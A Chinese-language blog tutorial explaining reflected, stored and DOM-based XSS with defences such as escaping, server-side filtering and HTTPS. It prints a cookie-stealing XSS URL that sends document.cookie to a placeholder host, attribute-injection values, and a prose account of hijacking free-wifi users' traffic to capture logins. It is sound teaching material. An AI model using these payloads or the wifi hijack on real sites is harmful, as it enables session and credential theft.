前端安全之XSS攻擊

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見(jiàn)的Web攻擊,其重點(diǎn)是“跨域”和“客戶端執(zhí)行”。有人將XSS攻擊分為三種,分別是:
1. Reflected XSS(基于反射的XSS攻擊)
2. Stored XSS(基于存儲(chǔ)的XSS攻擊)
3. DOM-based or local XSS(基于DOM或本地的XSS攻擊)
Reflected XSS
基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊。
例子:
1. 做個(gè)假設(shè),當(dāng)亞馬遜在搜索書(shū)籍,搜不到書(shū)的時(shí)候顯示提交的名稱。
2. 在搜索框搜索內(nèi)容,填入“<script>alert('handsome boy')</script>”, 點(diǎn)擊搜索。
3. 當(dāng)前端頁(yè)面沒(méi)有對(duì)返回的數(shù)據(jù)進(jìn)行過(guò)濾,直接顯示在頁(yè)面上, 這時(shí)就會(huì)alert那個(gè)字符串出來(lái)。
4. 進(jìn)而可以構(gòu)造獲取用戶cookies的地址,通過(guò)QQ群或者垃圾郵件,來(lái)讓其他人點(diǎn)擊這個(gè)地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
S:這個(gè)地址當(dāng)然是沒(méi)效的,只是舉例子而已。
結(jié)論:
如果只是1、2、3步做成功,那也只是自己折騰自己而已,如果第4步能做成功,才是個(gè)像樣的XSS攻擊。
開(kāi)發(fā)安全措施:
1. 前端在顯示服務(wù)端數(shù)據(jù)時(shí)候,不僅是標(biāo)簽內(nèi)容需要過(guò)濾、轉(zhuǎn)義,就連屬性值也都可能需要。
2. 后端接收請(qǐng)求時(shí),驗(yàn)證請(qǐng)求是否為攻擊請(qǐng)求,攻擊則屏蔽。
例如:
標(biāo)簽:
<span><script>alert('handsome boy')</script></span>
轉(zhuǎn)義
<span><script>alert('handsome boy')</script></span>
屬性:
如果一個(gè)input的value屬性值是
瑯琊榜" onclick="javascript:alert('handsome boy')
就可能出現(xiàn)
<input type="text" value="瑯琊榜" onclick="javascript:alert('handsome boy')">
點(diǎn)擊input導(dǎo)致攻擊腳本被執(zhí)行,解決方式可以對(duì)script或者雙引號(hào)進(jìn)行過(guò)濾。
Stored XSS
基于存儲(chǔ)的XSS攻擊,是通過(guò)發(fā)表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲(chǔ)在服務(wù)器,每個(gè)訪問(wèn)該帖子/文章的人就會(huì)觸發(fā)執(zhí)行。
例子:
1. 發(fā)一篇文章,里面包含了惡意腳本
今天天氣不錯(cuò)?。?lt;script>alert('handsome boy')</script>
2. 后端沒(méi)有對(duì)文章進(jìn)行過(guò)濾,直接保存文章內(nèi)容到數(shù)據(jù)庫(kù)。
3. 當(dāng)其他看這篇文章的時(shí)候,包含的惡意腳本就會(huì)執(zhí)行。
PS:因?yàn)榇蟛糠治恼率潜4嬲麄€(gè)HTML內(nèi)容的,前端顯示時(shí)候也不做過(guò)濾,就極可能出現(xiàn)這種情況。
結(jié)論:
后端盡可能對(duì)提交數(shù)據(jù)做過(guò)濾,在場(chǎng)景需求而不過(guò)濾的情況下,前端就需要做些處理了。
開(kāi)發(fā)安全措施:
1. 首要是服務(wù)端要進(jìn)行過(guò)濾,因?yàn)榍岸说男r?yàn)可以被繞過(guò)。
2. 當(dāng)服務(wù)端不校驗(yàn)時(shí)候,前端要以各種方式過(guò)濾里面可能的惡意腳本,例如script標(biāo)簽,將特殊字符轉(zhuǎn)換成HTML編碼。
DOM-based or local XSS
基于DOM或本地的XSS攻擊。一般是提供一個(gè)免費(fèi)的wifi,但是提供免費(fèi)wifi的網(wǎng)關(guān)會(huì)往你訪問(wèn)的任何頁(yè)面插入一段腳本或者是直接返回一個(gè)釣魚(yú)頁(yè)面,從而植入惡意腳本。這種直接存在于頁(yè)面,無(wú)須經(jīng)過(guò)服務(wù)器返回就是基于本地的XSS攻擊。
例子1:
1. 提供一個(gè)免費(fèi)的wifi。
1. 開(kāi)啟一個(gè)特殊的DNS服務(wù),將所有域名都解析到我們的電腦上,并把Wifi的DHCP-DNS設(shè)置為我們的電腦IP。
2. 之后連上wifi的用戶打開(kāi)任何網(wǎng)站,請(qǐng)求都將被我們截取到。我們根據(jù)http頭中的host字段來(lái)轉(zhuǎn)發(fā)到真正服務(wù)器上。
3. 收到服務(wù)器返回的數(shù)據(jù)之后,我們就可以實(shí)現(xiàn)網(wǎng)頁(yè)腳本的注入,并返回給用戶。
4. 當(dāng)注入的腳本被執(zhí)行,用戶的瀏覽器將依次預(yù)加載各大網(wǎng)站的常用腳本庫(kù)。
PS:例子和圖片來(lái)自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html 不是我寫的,請(qǐng)注意!
這個(gè)其實(shí)就是wifi流量劫持,中間人可以看到用戶的每一個(gè)請(qǐng)求,可以在頁(yè)面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,可以返回釣魚(yú)頁(yè)面。
例子2:
1. 還是提供一個(gè)免費(fèi)wifi
2. 在我們電腦上進(jìn)行抓包
3. 分析數(shù)據(jù),可以獲取用戶的微信朋友圈、郵箱、社交網(wǎng)站帳號(hào)數(shù)據(jù)(HTTP)等。
PS:這個(gè)是我的測(cè)試,在51job頁(yè)面登錄時(shí)進(jìn)行抓包,可以獲取帳號(hào)密碼。
結(jié)論:
這攻擊其實(shí)跟網(wǎng)站本身沒(méi)有什么關(guān)系,只是數(shù)據(jù)被中間人獲取了而已,而由于HTTP是明文傳輸?shù)?,所以是極可能被竊取的。
開(kāi)發(fā)安全措施:
1. 使用HTTPS!就跟我前面《HTTP與HTTPS握手的那些事》這篇文章說(shuō)的,HTTPS會(huì)在請(qǐng)求數(shù)據(jù)之前進(jìn)行一次握手,使得客戶端與服務(wù)端都有一個(gè)私鑰,服務(wù)端用這個(gè)私鑰加密,客戶端用這個(gè)私鑰解密,這樣即使數(shù)據(jù)被人截取了,也是加密后的數(shù)據(jù)。
總結(jié)
XSS攻擊的特點(diǎn)就是:盡一切辦法在目標(biāo)網(wǎng)站上執(zhí)行非目標(biāo)網(wǎng)站上原有的腳本(某篇文章說(shuō)的)。本地的XSS攻擊的示例2其實(shí)不算XSS攻擊,只是簡(jiǎn)單流量劫持。前兩種XSS攻擊是我們開(kāi)發(fā)時(shí)候要注意的,而流量劫持的則可以使用HTTPS提高安全性。
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來(lái)介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒(méi)有進(jìn)行足夠的檢測(cè)導(dǎo)致的一處getshell,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)
這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對(duì)于目前流行的sql注入,程序員在編寫程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過(guò)技術(shù) XSS插入繞過(guò)一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類2016-12-27Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08